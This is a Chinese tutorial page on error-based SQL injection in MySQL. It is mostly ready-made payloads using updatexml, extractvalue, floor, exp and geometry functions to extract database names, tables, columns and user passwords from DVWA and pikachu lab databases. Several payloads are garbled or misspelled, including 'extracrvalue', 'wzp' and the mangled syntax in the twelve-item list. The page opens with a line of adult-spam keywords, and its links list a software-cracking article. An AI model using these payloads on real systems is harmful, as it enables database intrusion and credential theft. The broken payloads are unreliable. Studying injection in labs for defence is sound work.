欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

SQL注入報錯注入函數(shù)圖文詳解

 更新時間:2022年07月07日 15:40:58   作者:lightsec  
報錯注入是SQL注入的一種,下面這篇文章主要給大家介紹了關于SQL注入報錯注入函數(shù)的相關資料,文中通過示例代碼介紹的非常詳細,需要的朋友可以參考下

前言

報錯注入的前提是當語句發(fā)生錯誤時,錯誤信息被輸出到前端。其漏洞原因是由于開發(fā)人員在開發(fā)程序時使用了print_r (),mysql_error(),mysqli_connect_error()函數(shù)將mysql錯誤信息輸出到前端,因此可以通過閉合原先的語句,去執(zhí)行后面的語句。

常用報錯函數(shù)

updatexml()         是mysql對xml文檔數(shù)據(jù)進行查詢和修改的xpath函數(shù)
extractvalue()      是mysql對xml文檔數(shù)據(jù)進行查詢的xpath函數(shù)
floor()             mysql中用來取整的函數(shù)
exp()               此函數(shù)返回e(自然對數(shù)的底)指數(shù)X的冪值

用法詳解

updatexml()函數(shù)

updatexml()函數(shù)的作用就是改變(查找并替換)xml文檔中符合條件的節(jié)點的值

語法:updatexml(xml_document,XPthstring,new_value)

第一個參數(shù)是字符串string(XML文檔對象的名稱)

第二個參數(shù)是指定字符串中的一個位置(Xpath格式的字符串)

第三個參數(shù)是將要替換成什么,string格式

Xpath定位必須是有效的,否則則會發(fā)生錯誤。我們就能利用這個特性爆出我們想要的數(shù)據(jù)

實例

注冊就是往數(shù)據(jù)庫里添加數(shù)據(jù),insert。

在用戶處輸入單引號 報錯

猜測后端語句

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

可以在xxx處對單引號閉合,爆出我們想要的數(shù)據(jù)

?id=1' or updatexml(0,concat(0x7e,select database()),1)'

閉合單引號使語句逃逸出來,之后重新構造語句查詢,爆破出庫名為:"pikachu"

分析過程

當輸入payload

?id=1' or updatexml(0,concat(0x7e,select database()),1)or'

后端會被拼接為

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

表名列名字段和正常查詢一樣只是換了個位置

利用過程

庫名

1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

查表信息(假定有一個users表,庫名為dvwa

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

查字段值(假設字段名為last_name(dvwa.users意思為調用dvwa庫的users表)

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

extractvalue()函數(shù)

extractvalue()函數(shù)的作用是從目標xml中返回包含所查詢值的字符串

extractvalue (XML_document, XPath_string);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為doc

第二個參數(shù):XPath_string(Xpath格式的字符串),Xpath定位必須是有效的,否則會發(fā)生錯誤

構造payload

?id=1' or extracrvalue(0,concat(0x7e,database())) or '

注意xpath回顯只有一位使用limit函數(shù)逐個爆,且最長為32位,超過32位爆不了

利用過程

當前庫

1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

當前表

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

表信息(假設表為users

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

字段值(字段為user_id,first_name,last_name,(dvwa.users意思為調用dvwa庫的users表)

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

floor()函數(shù)

floor()是mysql的一個取整函數(shù)

庫名

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

表名(庫為dvwa,通過修改 limit 0,1值遞增查表, limit 1,1、limit 2,1

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段名(庫:dvwa,表:users

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段值(字段值:user,password(dvwa.users意思為調用dvwa庫users表

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

exp()函數(shù)

當傳遞一個大于709的值時,函數(shù)exp()就會引起一個溢出錯誤。

庫名

id=1' or exp(~(SELECT * from(select database())a)) or '

表名(庫名:pikachu

id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '

字段名(表名:users

id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

字段值(字段名:password,表名:users

id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '

12種報錯注入函數(shù)

1、通過floor報錯,注入語句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通過extractvalue報錯,注入語句如下:

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、通過updatexml報錯,注入語句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4、通過exp報錯,注入語句如下:

and exp(~(select * from (select user () ) a) );

5、通過join報錯,注入語句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過NAME_CONST報錯,注入語句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);

7、通過GeometryCollection()報錯,注入語句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:

and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:

and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:

and linestring (()select * from(select user() )a)b );

總結

到此這篇關于SQL注入報錯注入函數(shù)的文章就介紹到這了,更多相關SQL注入報錯注入函數(shù)內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • SQL查詢連續(xù)號碼段的巧妙解法

    SQL查詢連續(xù)號碼段的巧妙解法

    在ITPUB上有一則非常巧妙的SQL技巧,學習一下,記錄在這里
    2013-09-09
  • 使用navicat導入sql文件的方法步驟

    使用navicat導入sql文件的方法步驟

    這篇文章主要介紹了使用navicat導入sql文件的方法步驟,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2020-11-11
  • 數(shù)據(jù)庫之SQL注入原理以及過程的簡單介紹

    數(shù)據(jù)庫之SQL注入原理以及過程的簡單介紹

    這篇文章主要介紹了數(shù)據(jù)庫之SQL注入原理以及過程的簡單介紹,本篇文章通過簡要的案例,講解了該項技術的了解與使用,以下就是詳細內容,需要的朋友可以參考下
    2021-07-07
  • 數(shù)據(jù)庫刪除完全重復和部分關鍵字段重復的記錄

    數(shù)據(jù)庫刪除完全重復和部分關鍵字段重復的記錄

    重復記錄分為兩種,第一種是完全重復的記錄,也就是所有字段均重復的記錄,第二種是部分關鍵字段重復的記錄,例如Name字段重復,而其它字段不一定重復或都重復。
    2008-05-05
  • 數(shù)據(jù)計算中間件技術綜述

    數(shù)據(jù)計算中間件技術綜述

    這篇文章主要介紹了數(shù)據(jù)計算中間件技術綜述 ,傳統(tǒng)企業(yè)大數(shù)據(jù)架構的問題,通過一張圖就能看懂,感興趣的朋友跟隨小編一起通過本文學習吧
    2018-11-11
  • Navicat12.1系列破解激活教程親測有效

    Navicat12.1系列破解激活教程親測有效

    這篇文章主要介紹了 Navicat12.1系列破解激活教程親測有效,本文給大家介紹的非常詳細,對大家的學習或工作工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-11-11
  • 面向云服務的GaussDB全密態(tài)數(shù)據(jù)庫現(xiàn)狀及問題小結

    面向云服務的GaussDB全密態(tài)數(shù)據(jù)庫現(xiàn)狀及問題小結

    全密態(tài)數(shù)據(jù)庫,顧名思義與大家所理解的流數(shù)據(jù)庫、圖數(shù)據(jù)庫一樣,就是專門處理密文數(shù)據(jù)的數(shù)據(jù)庫系統(tǒng),這篇文章主要介紹了面向云服務的GaussDB全密態(tài)數(shù)據(jù)庫,未來GaussDB會將該能力逐步開源到openGauss,與社區(qū)共同推進和完善全密態(tài)數(shù)據(jù)庫解決方案,一起打造數(shù)據(jù)庫安全生態(tài)
    2024-02-02
  • 數(shù)據(jù)庫加密字段進行模糊查詢詳解

    數(shù)據(jù)庫加密字段進行模糊查詢詳解

    這篇文章主要為大家介紹了數(shù)據(jù)庫加密字段進行模糊查詢詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-09-09
  • 安裝navicat最新詳細流程

    安裝navicat最新詳細流程

    Navicat是一款獨立的數(shù)據(jù)庫管理工具,支持多種數(shù)據(jù)庫管理系統(tǒng),包括MySQL、MariaDB、Oracle、PostgreSQL、SQLite等,下面這篇文章主要給大家介紹了關于安裝navicat最新詳細流程,需要的朋友可以參考下
    2023-06-06
  • SQL注入的2個小Trick及示例總結

    SQL注入的2個小Trick及示例總結

    這篇文章主要給大家介紹了關于SQL注入的2個小Trick的相關資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2018-11-11

最新評論